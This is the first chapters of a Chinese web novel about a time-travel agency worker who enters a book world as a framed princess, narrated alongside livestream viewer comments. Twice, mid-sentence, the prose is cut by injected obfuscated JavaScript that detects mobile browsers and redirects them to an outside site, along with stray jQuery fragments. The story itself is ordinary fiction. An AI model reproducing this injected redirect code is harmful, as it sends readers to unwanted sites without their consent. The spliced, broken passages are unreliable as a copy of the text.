《我演过的剧靠天幕风靡古代(快穿)》
1. 楔子
“姓名。”
“姜柏弥。”
话音刚落——
银色大门一侧的LED指示灯齐齐亮起,散发出显眼的绿光。
嵌在门正中央的高清触摸屏——一块本来黑着的屏幕,突然亮了一些,上面出现了一个局子里中央系统贱兮兮的表情“\(*T▽T*)/”。
姜柏弥:“……”
那块屏幕上颜表情消失了,其背景换成了纯白色,又浮现出了两行小四号黑色宋体:
[验证通过,祝任务者旅行愉快。]
[电梯即将抵达一楼,请稍等。]
旅行……愉快……
槽点太多。
姜柏弥不知从哪里说起。
这是她第N次踏入这扇通往异世界的电梯门了。
如果说,来局里头几次完成任务姜柏弥还是好奇、适应的心态,那她现在算得上是游刃有余了,甚至可以说是放飞自我。
——实际上,姜本人并不讨厌这份工作,甚至算得上享受,她生性爱玩,工作的性质契合了她的爱好和天赋,能在各个世界表演不同的人,她很享受那种把自己真实性格抽离出来、扮演另外一种人格的生活。
她刚刚休假结束,带着继续放松的心态接到了一个来自快穿部的任务。
听说快穿部那边人手严重不足,任务过时无人接,就自动被系统分配给他们部的。
她甚至不算是快穿部的人,属于穿书部的。
但两部职能往往交叉,有时界限未必分明,姜柏弥两天前奔走几个办公室办理穿书手续时,也时不时能和隔壁快穿部部长打个照面。
她这次的任务就与快穿和穿书都有关。
还是个直播任务,会有神秘力量把她做任务过程的画面直播给看时空网的人(某个位面的网友)。
她盯着楼层状态显示器,百般无聊数起了上面的数字。
5、4、3、2、1……
电梯到了指定楼层。
上方的开门电机也启动了,驱动了齿轮链条传动系统,进而带动带这扇泛着镜面般光泽的滑动门徐徐分开。
她走入轿厢,里面明亮宽敞。
四壁都是银色的装潢,看着大气,列着一个楼层选择面板。
她按了“#”。
下一秒,从那个按钮表面弹出一个虚浮着的幽蓝色虚拟面板,半平方米大小,出现了几行文字:
[信息核验中……,时空管理局金牌员工,年龄二十七,工龄三年,连续三年同时获得“最优秀员工奖”“金牌演员奖”“最佳主播奖”“快穿新人奖”,在第一年和第三年分别获得了“最佳女主奖”和“最佳女配奖”。]
[从性向、穿越方式等角度,校验系统为您精准定位,本次穿越地点隶属于……]
不过短短一秒钟,面板就列出了她要去的地方——
[言情部]——[快穿部]——[穿书部]——[9楼]——[2号柱]
部门位置等都确认后,下一环节往往是确认是否要携带辅助系统,姜柏弥有一个老搭档系统006,是天幕系统,可以播放很多视频——姜柏弥在那些任务世界,尤其处于古代世界时,人总会无聊,就会在闲暇时让006给她放电视剧。
天幕系统大多时候被她用来娱乐消遣了,当然,也有辅助做任务的时候。
[是否携带辅助系统?(直播系统已默认携带)]
[是]or[不是]
她选了“是”,并且在接下来给出的输入框里输入了006的名称。
这一系列任务要求和过去差不多,没什么挑战难度,就是要她穿成每本书里正处于劣势的女主/女配,一般是通过不断打脸别人或逆袭,来帮助角色刷苏爽值。
据说里面古代世界还占据不少,她肯定得带上那个能给她提供精神娱乐的伙伴——系统006。
[已为您成功匹配到天幕系统006和直播系统(默认),祝你们合作愉快。]
[电梯即将到达九楼。]
提示完所有消息后,虚拟面板一下消失了。
一段冰冷、听不出性别的机械音在她耳边响起:
【哦。】
短短一个字,完完全全的电子音,却满满生无可恋的情绪。
来自系统006的问候。
姜柏弥的那双眼睛微微眯起。
标准狐狸眼。
有种似笑非笑的意思。
空旷的一方空间内,明明对着空气,姜柏弥也熟练地调戏小系统,语气搅了半勺焦糖似的:
“咱俩距上次见面得有小半月了是吧,啧啧,真就一点都不想…啊?”
最后那个蹦出来的“啊”字,尾音上扬,染有一种若有若无的暧昧气息。
偏偏这种情态表现得相当自然,给人一种撩而不自知的无辜感。
006:【……】
沉默,还是沉默。
系统006一贯秉持的统生原则是和历任宿主保持公事公办的搭档关系,不要黏糊,一人一统除了必要沟通,最好在私底下不要再有其它联系。
006乐于过那种平时不出声、只需扮演莫得感情播放工具的日子。
可…自从遇到了姜柏弥,它才慢慢领略到了“尴尬”“鸡皮疙瘩”这系列一般只有人类会用到的词汇的真谛。
对方太爱玩了,戏也很多,好像随时随地都有溢出来的满满表演欲。
特爱调戏。
哪怕对面是非人生物。
作为社恐的系统006,作为一个和姜柏弥合作过起码五次的冤种。
其实,它已经基本免疫了这种魅魔效果。
于是乎,它简单吐出几个字,相当冷酷无情:
【下次别找我了,我们不合适。】
它忘了自己这是第几次和对面说这句话了。
闻言,“魅魔”眼睛溜了溜,语气拉扯着几分戏谑,逗小孩似的:“……你这话听起来怎么这么见外,不合适?我看合适。你这话别人听了,不定就要误会我们之间纯粹友好的情谊了。”
……到底谁会误会。
有毛线情谊?
哪里纯粹友好?
006很想来一句,统可杀不可辱,不要污蔑它的清白。
但它没说。
只知道它再一开口,对方必然会抓住它下一句话中的任何一点地方,展开无情调侃。
那样……简直是又杀又辱。
它选择再次保持沉默。
见系统没给出应有的反应…破防、恼羞成怒、害羞什么的都没有,姜柏弥早有预料般挑挑眉,语气略有缺憾:“啧啧,真不愿和我玩啊,你这可没意思,006。”
006敢发誓,就凭这个宿主平日里一系列骚操作,真的是借了建模的光了,换个人放外面早被打死了。
见没人搭理,姜柏弥终于安静了下来。
陷入一种空灵的状态。
封闭的电梯里,系统乃至其他任务者眼中的“魅魔”虚虚倚着墙面,依然目视前方,左手随手撩着额前恼人的发丝,漫不经心地勾到耳后,另一只手臂自然下垂,黑色真丝荷叶袖外垂着一截雪白的腕。
顶灯的冷光闪了闪,光影重新洒向下面人的头发上。
直直的中长黑发自然内扣,环绕颈侧,在冷艳光线的无声抚摸下,每一寸发丝散发着柔光。
有几缕发丝微微拂过灯下人的眼睛。
不笑时,她的眼神淡淡的,眼形略显狭长,琥珀色瞳孔,眼尾上扬,流畅锋利
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811270|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,带点动物野性,更具有淡淡的攻击性。
——被公认为“行走的魅魔”还是有缘由的。
来时空管理局之前,姜柏弥还做过演员——瘦瘦高高的,比较上镜。演艺生涯里,她虽是不温不火的那种,但资源倒还不错,正剧和话剧都没少演。
但在姜柏弥因早年一部正剧里演过的配角翻红、事业即将达到高峰期前,她遇到了车祸,当场死亡。
她又复活了——被一个自称神明的家伙救活的,代价就是她要替时空管理局干五年,如果业绩多年达标,退休待遇什么的都可以考虑。
也许退休什么的还太过遥远,局里就给给他们画了相对易得、可看见的饼——度假小世界体验卡。
由于他们局的特殊性,确实普遍更追求任务完成质量——褒奖力度也比较大,最成功的任务者每年能在专门用来度假的小世界整整安逸三个月。
姜柏弥每年都可以做到。
姜柏弥干了三年,但单从动机来论,姜从来不是为了那根吊着的名为“度假小世界”的萝卜而做任务,而是她玩性很大,做任务和玩似的。
目的楼层一到达,电梯门稳稳分开。
*
九楼。
一跨出来,全然是新世界了。
银白色长廊。
探到有人进来,智能感应装置便响应了,沿着走廊前行,墙壁两侧的长条形OLED灯片渐次苏醒,散发出匀称、冷艳的光芒——像是冰川折射过来的。
纳米级超导材料铺设成地板,银灰色的,踩上去,光滑、流畅、轻松,无任何凹凸感,无数任务者曾评价过——地上仿佛覆盖着一层隐形保护膜似的。
行五米有余,墙体一侧便有序排列起银白铝合金制的方形智能通讯柱,柱体一米高,间隔两米,贴着墙面,正上方柱体表面嵌一面可触控的超高分辨率显示屏,薄薄一层玻璃。
沿途墙面上按序贴着红底黑字的小圆形标识牌①②③……渐增的数字序号精准对应着每根柱体的位置。
她是2号柱。
她径直走向2号柱,指尖轻轻划到温凉的玻璃上,唤醒了屏幕。一只指尖灵活操作,熟练地切换至指纹检测界面,对准屏幕上的圈圈层层的蓝荧光线条模拟指纹图案,轻轻按下去,那个图案就忽地一亮,如水纹般涌开。
“嘀——”
验证通过。
柱子上方再次悬浮出了那张幽蓝色的虚拟面板,再次依据面容,快速核验通过了她的身份后,上面就显示出了一行文字:请填写接下来的具体穿越匹配信息……
很快,上面的文字又刷新了。
[是否匹配一个出生于同姓氏家族的世界,且将所穿女主或女配设置为与任务者本人同名同姓?]
[是]or[不是]
她一如既往选了“是”。
[做任务时,选择使用本人身体①,还是选择捏脸②?]
[①]or[②]
这也没有疑义,姜柏弥也习惯每天对镜子照自己的脸。
[如何定义穿书后的妆造?]
[自定义形象]or[系统自动分配书中妆造]
毫无疑问,她选择了第二项。
[是否开启弹幕模式?]
[是]or[不是]
姜柏弥还是蛮喜欢和沙雕网友们互动的。
诚实地选了“是”。
[系统分析中……]
[分析成功]
[穿越倒计时——10、9、8……]
在柱前,她所站的地板位置,倏然,自下而上迸发出了一阵耀眼的金光,形成一个光柱,这些光芒把她整个人笼罩住了。
十秒后。
柱前原来的位置上,空无一人。
2. 失恃公主or开国女帝(1)
“公公!公公!别把这个打翻了——”
“这个不能扣,那是陛下赏给公主的,不是什么罪证啊——”
一道道带着哭腔的女声。
惊慌、悲愤、惊弓之鸟。
——有点聒噪。
姜柏弥缓缓睁开眼睛,眉心微蹙,有恍如隔世之感。
——眼前是一派乱哄哄的场景,偌大的华丽宫殿内,一些黑色长袍做太监打扮的男子,四散开来,肆无忌惮地翻箱倒柜,动作极其粗鲁,抛掷,撕碎,推翻,抽屉一拉一推,似乎是在全力搜寻检查着什么。
旁边的是一些穿戴花儿似的的宫女们,或跪或站,有哭喊求情的,也有神色得意帮着翻找的。
她脑子乱哄哄的,记忆还没完全植入成功,下意识扶额,却摸到了一片冰凉。
低头一望,掌心沾染了一片殷红。
她此时跌坐在地上,一手还撑着冰凉的地面,再抬眼望去,抛去那群虎狼似的人,最显眼的便是离她最近的物件,地上一个黄花梨木制的贵妃榻底下还卡着一个打翻的黑漆描金妆奁,胭脂盒、眉黛、半截清绿的翡翠镯子、一只金耳坠、碎了的铜镜子……金银珠宝胭脂水粉零七乱八散落得滚了一地。
那妆奁的一角还鲜淋淋浸染着一抹刺眼艳丽的红,不必多说,她的额角已经隐隐作痛起来。
姜柏弥眼前浮现出了一个幽蓝色虚拟面板,她勉强抬头,浏览起了上面提供的信息。
[世界一:历史衍生小说《六公主传》(待探索)]
[扮演角色身份:六公主(真实姓名已无稽可考,历史中大夏国话题下最神秘的公主,据考证,历史原型曾卷入皇室纷争,其相关多段史料被刻意抹去)]
[姓名:姜柏弥(原著姓名已替换/文中多处设定已合理改动),17岁,大夏六公主]
[小说内人生轨迹总结:超雄的爹,早逝的妈,破碎的九族,苦命的她]
姜柏弥轻轻点了下屏幕,又翻页了。
[原小说剧情简介:作为历史上最神秘的六公主,被污蔑叛国的两百年后在新朝代中才得到平反的她,生在那样一段风起云涌的时期,在她身上又发生过怎样的爱恨情仇呢……]
[文下部分读者评论摘选]
「求求了,许多同人作者放过六公主吧,先是跟着营销号了解历史,看些乱七八糟、前后矛盾的野史,到头来把历史上心机缜密、慷慨赴死的六公主写成了一个胆小怕事专坑队友的骇人鲸」
「作者起了正剧名字,又写出这些神人剧情也是没谁了」
「这就是一本普普通通的古早言情文,结局很憋屈,听说这本书被时空网安排到穿书模拟世界直播列表中了,不知道谁会接这个角色,希望那里六公主有个好结局」
「文中反派陆贤妃和皇帝,形象塑造不算太离谱,因为正史里他们也很神经,刚读到相关史料时我真的惊到了」
「瞎改历史,戏说不是胡说,六公主真像小说中这么坑、动不动卖队友,怎么可能像正史几处记载透露出的中那么有号召力、让当时的皇室畏惧,甚至怕到不敢公开她的一些资料」
「希望未来穿书直播中的六公主结局能反杀」
这些穿书任务一般都会展示原书底下点赞最多的几条读者评论,任务者不出意外也会围绕读者的核心诉求开展任务。
[任务要求:
制造多处苏爽剧情,通过网友评审。
注意:
1.刷满苏爽值(上限100),便可自由选择结束剧情,任务结束后,中央系统会截取关键苏爽、高光剧情,自动生成视频,上传时空网后,待十位专业网友打分评审,满分为10分。
2.平均分达到9分及以上即视为合格,亦视为任务完成。
3.本世界为低武世界,禁止任务者使用任何自身修为、魔法值相关技能直接的降维打击,慎用系统道具与技能,影响评分与积分。]
面板上的画面一转。
[3、2、1……直播开始!]
面板的右上角出现了——
[直播间:《六公主传》穿书—小世界角色扮演(系统自动生成)]
[主播:姜柏弥]
[在线观众数:28]
涌入直播间的人越来越多。
那栏在线观众数,还在急剧上涨。
中间飘过几条零星的弹幕。
【开播了吗……】
【啊啊啊啊——你终于打复活赛啦!姜女士(-^〇^-)】
【我要看你大杀四方嘿嘿嘿~】
【原来这次是在《六公主传》那本衍生文的世界里啊,这本书我看过,看装扮,主播接下来是要扮演女主吗?】
弹幕在这种对主播方便的视角呈现,便于主播接收弹幕信息,这块虚拟面板还自动随着主播的行动而挪动,确保主播可以随时看到弹幕,还方便互动——能随时调用面板最下方的虚拟键盘打字回复。
当然,这些任务者们,虽是主播,但更多时候主要在用心做任务,相比其他类型的直播,就和观众们的互动少多了——如果主播愿意,怕受干扰,甚至可以随时关掉自己视角的面板,不与正在观看直播的观众交流。
譬如现在——
姜柏弥顾不上和观众们打招呼。
她脑海里一下涌入了大片大片的原主记忆和原书剧情,记忆碎片浪花似的翻涌着,一下翻出了最新的花来——
原来是大夏皇帝的宠妃陆贤妃伪造证据,联合他人污蔑皇帝女儿六公主近来疑似弄人偶诅咒帝妃,领了圣旨,专门带一群人来搜查原主房间,想要翻找原主的罪证(其实陆贤妃提前安插小宫女故意往这藏了一些关键证据),搜查时,陆贤妃嫌这太乱,还不愿待在里面,在外面站着。众人推搡之间,原主被人撞到,一个趔趄,额头磕到旁边梳妆台子上的妆奁,直接晕倒了。
根据剧情,现阶段,原主母亲家族那边的人基本都留在京城,大都被监视控制着。而原主从冷宫带来的贴身侍女、唯一的心腹碧姜,更是在回宫路上直接被带走控制调查。
她身边没有知心人了。
此时现场太多混乱,原主高低算得上一个皇帝的女儿,受了这么大的伤,差点要命,甚至没人注意。
姜柏弥捂着额头,那股晕乎乎的劲儿还没过去,她勉强撑着身体摇摇晃晃站起,扶着一扇用了描金工艺的屏风,思量着对策。
眼帘悄然映入一抹亮眼的粉红。
殿门口。
一只宫靴,缓缓跨入门槛,那鞋面用桃红锦缎做的,还绣制着荷花纹样。
视线上移,那层层叠叠的莲花瓣藕荷色裙摆拖曳着,迤逦而来。
来人略施粉黛,清丽动人,左右后方都有婢女跟随着,梳着翻荷髻,显眼的是其中向额顶倾覆的扁圆鬟髻,如尚未完全舒展开的荷叶。
宫妃一进来,轻轻抬起一只右手,于半空凝滞,大拇指微微内扣,中指压最前,作静声指令——尤其袖口宽大,垂及腕际,随其随心抬手的动作而轻摇,状似荷花层层叠叠漾开。
指尖旋即弯下,连带着腕臂衣袖垂落。
众人顿时没了声音。
女子还轻轻呵斥一声:“尔等行事何其粗疏!昭华殿虽被说有巫蛊之气,尚未证实,六公主亦属皇家子嗣,岂可不循规蹈矩,即行此等粗暴之举?”
好似是慈母做派。
女人的左手一直扶着肚子——小腹处微微隆起,不显怀,但细看,能看得出是怀孕了。
姜柏弥的大脑,刚刚植入了原小说所有剧情,消化了大半。
她错认不了眼前的人。
这位形容温婉的中年美人,乃文中名曰陆衣(yì)荷者,其名清丽,亦带些许出世气息。
然而,只能远远一看,会瞧着贤淑动人;不能细看,其唇角却分明是藏不住的冷意。
书中写过——“陆衣荷,陆大将军独女,皇帝青梅,早年入宫,受封为贤妃,深得帝心。育有一子,立为太子。其人性情反复,用心诡谲,一人两面,惯以贤取信于前朝,人后予取予夺,手段辛辣,手上宫内外无辜人命无数。可赢可弃,可生可死,以致可爱可恨。”
刚刚得了贤妃主子批评,一个太监谄媚笑道:“娘娘所言极是,小的们太鲁莽了。”
说罢,他转向姜柏弥,看似赔罪:“六公主,小的们刚才多有得罪,这也是为了维护宫规。”
便是作恶,也得装了那个好人。
这确实是贤妃。
【这不贤妃吗?】
【确实贤啊——】
【贤!!】
【贤妃——指仅依据原著中的已有记载,为扶其子,背地令后宫嫔妃堕胎或致其不孕者不下六人,买通刺客行凶,下毒害人,多次诬陷女主及其他嫔妃子嗣,勾结母族放债占田,卖官鬻爵,均有战绩可查】
*
“找到了——这是个扎满了针的人偶!写的娘娘的生辰八字!”
不知谁喊了这么尖细阴柔的一嗓子,这道声音如同惊雷,炸得现场更掀起一层乱糟糟。
那只挥舞桐木人偶的枯萎老皮的手,更成了漩涡中心,其主人张扬挥动一次手中人偶,这混乱就自他搅动一次。
喧哗骚动反反复复的。
有会领功、机灵的,不论男女,谁都想做第一个吃螃蟹的人,早就围了过去,和他们的主子娘娘愤愤不平说发现了个施过咒的木偶。
在场的人,有一个算一个,都心知肚明,这事有猫腻,这钟粹宫的陆贤妃,素来对六公主看不上眼,他们也就顺水推舟。
如今六公主果然不甚打击,要倒霉了,对他们娘娘可不就是一大喜事?
陆贤妃对这个去年冬天突然得了皇帝关注的六公主很是警惕,忌惮对方背后的家族,她自然是心虚的,六公主母亲——余妃就是她害死的,她近来年纪大了,又怀了孩子,夜里有时候会做噩梦惊醒,愈发畏惧余家报复。余家是将帅之家,军中颇有威信,虽因余妃牵连,收回了很多兵权,族人多是处于半看押状态,但也不定哪天就重新被陛下启用了,成为她儿子登基路上的绊脚石。她怕儿子地位不稳…主要也会牵连自己的太后梦——她放任底下爪牙在这一年来处处针对六公主,事事折磨对方性子,而对方也是处处忍让,任由捏圆搓扁。
贤妃扶着肚子,故作嗔怒:“都是些什么人,凡事都要细细查证后才下结论,若那只是有人冤枉小六才塞进去的呢!拷打那些不老实的宫女,切莫冤枉了好人!”
分明是要坐实对方的罪名。
【切莫冤枉了好人(×)
快点坐实她的罪名(√)】
【这个漂亮姐姐是谁?一看就很心善啊】
【《锌疝》】
一个宫女也配合,直接哭着跪下来:“娘娘,奴婢对不住您——是公主教我一人做的!您放了其余无辜的宫女吧,也请不要责罚公主了,公主只是一时昏了头……”
此时此刻,姜柏弥已捋清了大致的人物剧情,定了定神,松开扶着屏风的手,直起身来,却是一言不发。
她直勾勾盯着贤妃的眸子。
条条弹幕飘过,群魔乱舞的,基本都在拱火:
【姜姐,精神点,咱可别丢份啊——】
【干她!扑过去咬她们!咬啊——】
【这样看的话,这个宫女和贤妃是一伙的啊,贤妃手伸得够长的,也挺会收买人心的】
【贤妃虽然恶毒,但十分美丽,她好美,呜呜啊啊啊,她想的话,我都能把自己鲨了送给她……她害了那么多人,说到底也是为了自己的孩子啊】
【不是你是怎么共情上的,不会真因为脸吧】
【前面不是反串的话,完了,遇上真鲨臂了】
【举报了】
【这下真就三观跟着五官走……】
【直播整活也就图一乐,真抽象还得看网友】
姜柏弥:“……”很怀疑这届网友的精神状态。
她继续盯着贤妃。
微眯的眼睛,宛如两弯蓄势待发的弓箭。
陆贤妃反而懵了,被对方盯得倒不自在,不自觉侧过些身子,避开这道视线——这个小冻猫子,平日一见到她,懦弱得如同鹌鹑,乖乖低头行事,今日反倒古怪!
贤妃略略缓了下心神,怪的是对方刚才那眼神和往日不似一个人,也没恨意,但又像洞察一切,平白让自己多了分胆怯;她又笑自己多心,都到这个地步了,这个小六,见到自己依然那么淡定,甚至不敢中咒骂自己,怕这蠢货连自家心腹侍女被逮进慎刑司了也不知?抑或是死到临头毫无察觉,不晓得她那是出了奸细?
不吵不闹,还是老性子。
这么懦弱蠢钝的人,死了也就算了。
贤妃寻思,无论如何,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811271|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个姓姜的还有她背后的家族是要走到头了。
至于那巫蛊之事,她自是知晓的。是她教家族联系信得过的匠人拟造了那么个假木偶,又遣人神不知鬼不觉地放入昭华殿隐秘处。
此招虽就算不能把一个皇室公主于死地,就算不闹得血流成河,也足够掀起了一场针对余妃母族、甚至更多人的风波了。
陆贤妃自以为揣摩得了帝王心路。
陛下一贯嫌弃厌恨这个小六早死的生母余妃,又本就疑心她们母家那边的人,近来虽有启用之意……可自己这不是递了理由不让用么?
等她几天后再送上后招,这些人更是哪能翻得了身?
姜柏弥这边,则是提前做好了心理准备,穿到的这个时间节点,如果不是提前知道后续剧情,只看目前原著境遇,基本等同于渡劫——女主身边没了心腹,“证据”也被翻出来了,陆贤妃一派虎视眈眈,就连那个皇帝父亲也对女主冷漠至极。
欲加之罪,何患无辞?
不过,倒是有一个原因,看过剧本的姜柏弥心里门清,无论这事是否是六公主做的,皇帝这次也不会真的怎么动她……
听完宫女近乎是给皇家公主泼脏水的话,贤妃变脸很快,先是假模假样作出不敢置信的表现,快步上前,弯下腰,一只手抓住宫女的肩膀,纯血玳瑁护甲差点嵌入宫女皮肉——
“你说什么!你敢污蔑公主?”
宫女吃痛地喊道:“奴婢说的都是真的!奴婢有什么理由设计公主……”
贤妃又作佯怒态,叫了一个小太监过去禀报陛下,再就是作出愤懑之色,站在原地痛斥姜柏弥不忠不孝。
一时玩心起。
姜柏弥的眼珠悄然骨碌碌一转,她一定程度上贯彻了原主的人设,作出了惊慌的模样,捂着心口,蹙着眉头。
却说了句欺天的话:
“怎么会……这是哪来的?不是我的那个啊。”
说到最后,她下意识捂住嘴,很自然演出眼神惶然——仿佛说了什么不可暴露的东西似的。
宫女怔住,瞳孔一缩,掉转头看她,面上一副迷茫惊愕的神色。
贤妃的嘴角本是上扬的,一闻此言,一怔,笑意僵住脸上,她死死盯着对方,说出的话都有点语无伦次。
“你、你!刚说什么?什么不是你的那个,你讲清楚……你是在戏弄本宫?”
最后还是带点疑问的语气,显得色厉内苒。
在陆贤妃认知中,对面一贯唯唯诺诺,低声下气的,也不敢对人撒谎。
她又觉得这不大可能,所谓巫蛊之术,就是她要给对方安插的罪名。
怎会是真的……
她又恼又气,心头火起了——
这余妃的孩子还真敢想过害她不成?
【哈哈哈哈这个展开没想到】
【当对面怀疑你有大规模杀伤性武器时,你最好真的有】
【我就说姜姐是懂节目效果的】
【冤枉你的人比你还知道你有多冤枉】
【反正对面肯定要把这盆脏水泼过来,那脑干缺失的皇帝也肯定会信,那还不如顺着对方说辞恶心下去哈哈】
“放肆——”
陆贤妃多少也带点迷信,她稳住心神,也不装了,柳眉倒蹙,自我安慰般自说自话:“怎么可能……你是没招了,横竖发狠了在本宫面前搅浑水是罢,罢了,对,就如你自己招的,你这个没半点孝心的黑心种子!”
说着,她像是欲盖弥彰一般,掺着几分心虚,下意识扬起巴掌,快步上前,要朝姜柏弥的脸扇去。
慈母的面具说撕就撕。
【零帧起手】
【遮沙避风了】
姜柏弥则是一手握住了她的挥过来那只手的腕,两人的手悬停在半空。
贤妃瞪大杏目,似乎没想到对方真敢反抗。
门外有声音响起:“陛下驾到——”
贤妃闻言,都没犹豫,瞬间迸发出惊人的力气,一下挣脱了被挟制住的手腕,谁都没推她,还怀着孕,她却趔趄几步,身体自觉向后倾倒跌去,撞到了后面一个衣柜上,就她那么一撞,连带着柜子附近放置着的一个青花瓷花瓶摇摇坠坠,下一秒,花瓶也掉到地上“啪嚓”一声四分五裂。
花瓶碎掉的地方恰巧就离贤妃不远。
周围一众宫女惊呼道:
“娘娘!”
【古早碰瓷】
【遇到这种碰瓷的真的没辙】
【卧槽,她可是怀孕了,搞这么大,不怕玩脱么】
【真不怕流产啊】
【遇上狠人了】
【一码归一码,皇帝来了,这花瓶也得让贤妃赔啊】
【文物–1】
等皇帝大步流星踏入殿内,第一眼看到的场景就是他的爱妃倚在一个大衣柜前瘫坐着,蹙着眉心,旁边一堆碎青花瓷片,奄奄一息,凄艳哀婉,朝着他艰难地抬起只手,五指分开,颤颤巍巍的。
“陛下——”
哀怨凄婉,如怨如诉。
皇帝大惊,快步上前弯腰扶住她的肩膀,说话的声音隐隐抑制着怒意:“衣荷,谁敢如此对你?”
【六公主她推了贤妃娘娘】
【我刚才录屏了,有证据的,是贤妃自己摔倒的】
陆贤妃轻轻摇了摇头,仿佛有些惶恐,又似恳切道:“不,不关弥儿的事。”
【每日一贤】
【难怪别人都叫你贤妃,果然贤的是时候】
皇帝骤然把目光转向旁边的人——依旧一脸懵逼的姜柏弥,怒不可遏:“是你推的!”
弹幕一下又热闹了起来:
【这下看懂了】
【核心出装】
【蚌埠住了】
【剧如本】
【盐豆不带盐】
【什么神经病逻辑】
【不能调监控吗】
【《古代有监控》】
“孽女!这么容不下你母亲吗!”
皇帝都不加怀疑,不管不顾扬起巴掌,朝着姜柏弥一步一步走过来,仿佛随时会落下那个巴掌。
旁边的人都不敢出声。
【梅开二度】
【超雄皇帝】
【什么人机皇帝】
【2333333333】
【皇帝眼睛不要可以捐了】
【梅艺阁诗人】
3. 失恃公主or开国女帝(2)
皇帝走了两步,巴掌还没落下,却听到贤妃叫住他:
“陛下!”
皇帝果然顿住了脚步,侧过身,再次望向陆贤妃——她勉强站了起来,扶着脑袋,身体还摇摇晃晃的,似乎随时能跌倒。
见到心爱的青梅这么虚弱,皇帝都顾不上扇人了,赶紧小步过去,搀扶住陆衣荷。
贤妃脚一软,顺势跌入他的怀中。
微微启唇,气若游丝。
“陛下……不要怪罪弥儿……”
说着说着,她的声音逐渐消散。
贤妃不愧是演技派,眼一阖,头一歪,“昏倒”了。
快到知天命之年的皇帝。
此刻低下头,眼神慌张,又猛地抬起头四顾——
紧紧抱着对方,语气慌乱:
“衣荷,衣荷——传太医!”
然而无论他如何吼,怀中人昏昏沉沉不醒,俨然是昏死了过去。
抛开两人做过的事不谈,现场的确像一个非常凄美的中老年古装偶像剧场景。
明明刚才还是那种异常气拔弩张的气氛。
一下子就从狗血家庭伦理剧过度到偶像剧场了,都没带停顿的。
【典】
【尬到我的眼睛了】
【一家子神人,对不起看不下去了,先退出一下直播间】
【这个变脸的功夫,非物质文化遗产啊】
【经典谁昏倒谁有理】
【这个皇帝也很奇怪,明明疑心病很重,却一次次相信贤妃,从不质疑她】
【前面没看完小说全文吗?后面分明提到了,皇帝其实一直很清楚贤妃大部分的所作所为,也故意放任,贤妃也会揣摩皇帝心思,只是她也有自己的小九九,两人本质上就是同谋,你不能用常规的道德伦理观去理解这对缺德皇家人士对道德的要求】
【这部小说就没几个正常人】
【赞同前面那个,这本书里正反派都太降智了】
【其实看颜值还是可以嗑的啊,暴君帝王和心机宠妃的CP】
【这也能嗑下去也是神人了,就俩人渣】
两个小太监赶紧跑出去找太医去了。
“说!是你把你母亲害成这样的!要谋害她肚里的孩子,是不是!”老皇帝又恰好看到地上扎了针的木偶,气昏了头,搂着贤妃,狠狠质问前面的姜柏弥。
姜柏弥低头无意识地舔舔唇,思量着什么,下一秒,她精神气满满抬起头,伸出左手一只食指,试探性地指了指自己额头的那块带血伤口,暗示性地缓缓眨了眨眼。
——我这不也受伤了嘛。
皇帝看到了她的小动作,想起了什么似的,直接指着姜柏弥鼻子唾骂道:“你也是活该,害人害己,分明自己眼瞎不看路乱撞东西,还想攀咬谁,晦气东西…你如今胆子大得敢欺天了,先是弄什么人偶咒你的母亲,还说什么浑话气她,现在又推了人,好害她肚中胎儿!”
姜柏弥:“……”
弹幕也刷起一片“好惨哪哈哈哈”“蒸馍,你不服气”“对方拒绝了你的好友申请并主动发起了语言攻击”“你受伤了又怎么样,想赖谁,肯定是自己活该哈哈哈哈”“攀了,但没攀成功”。
见对面不为所动,皇帝愈发火气上来,接着骂骂咧咧个不停:
“倘若她有个什么闪失,或是气死了你爹,你说——纵观古今,遇上这种叫什么事儿!”
姜柏弥没有辩解,没说陆氏算她哪门子母亲,而是作为孝女,顺着父亲的话,认真回答:
“叫双喜临门?”
006:……果然,还是熟悉的作死风格。
【2333333333】
【喜大普奔】
【这下双喜临门了】
【老阴阳人了】
【要是文里剩下几个煞笔反派也一起狗带了就是囍上加喜了捏】
皇帝一听六女儿这话,差点一口气没背上来。
他没想到一向唯唯诺诺的女儿有朝一日敢推她的名义上的养母,敢行宫廷严禁的巫蛊之术——竟还敢和他顶嘴了。
“你个不孝女!”皇帝一着急,额头青筋暴起,一手紧紧搂着他的妃子,就用空着另一只手拔出剑。
“刷”的一声,剑光凛然,旁边的宫人瞬时齐刷刷跪下一片。
没人敢上前阻拦。
只有几个宫人在一旁焦急劝说着:
“陛下不可!”
“娘娘虽伤了凤体,可万万不可对公主刀剑相向啊陛下!”
【林教头,千万不可火并啊】
【孝子事亲,小杖则受,大杖则走,都用上刀了那就火并吧!】
皇帝大概是真的怒了,他也知刀剑无眼,怕伤了爱人,把怀中的贤妃送到两个宫女那,教她们看好。
接着他就持剑一步步逼近姜柏弥。
“你是个什么东西?害人害己,如今胆敢害你真正母亲了!可怜她还为你这白眼狼求情——”皇帝儿女很多,以前也对这个六女儿不甚在意,愈发口不择言。
原主在及笄后赴过宴,在那次宴会得到封赏后,皇帝也某天心血来潮就把她的养母定为陆贤妃,也就是所谓母亲。
面对一头暴怒的狮子,姜柏弥没继续刺激对方,而是稍稍识时务地后退了几步,熟知剧情的她,对着那个“陷入昏迷”的贤妃轻飘飘来了句:
“娘娘不必睡了……你床底有一只老鼠——正往你裙底钻呢。”
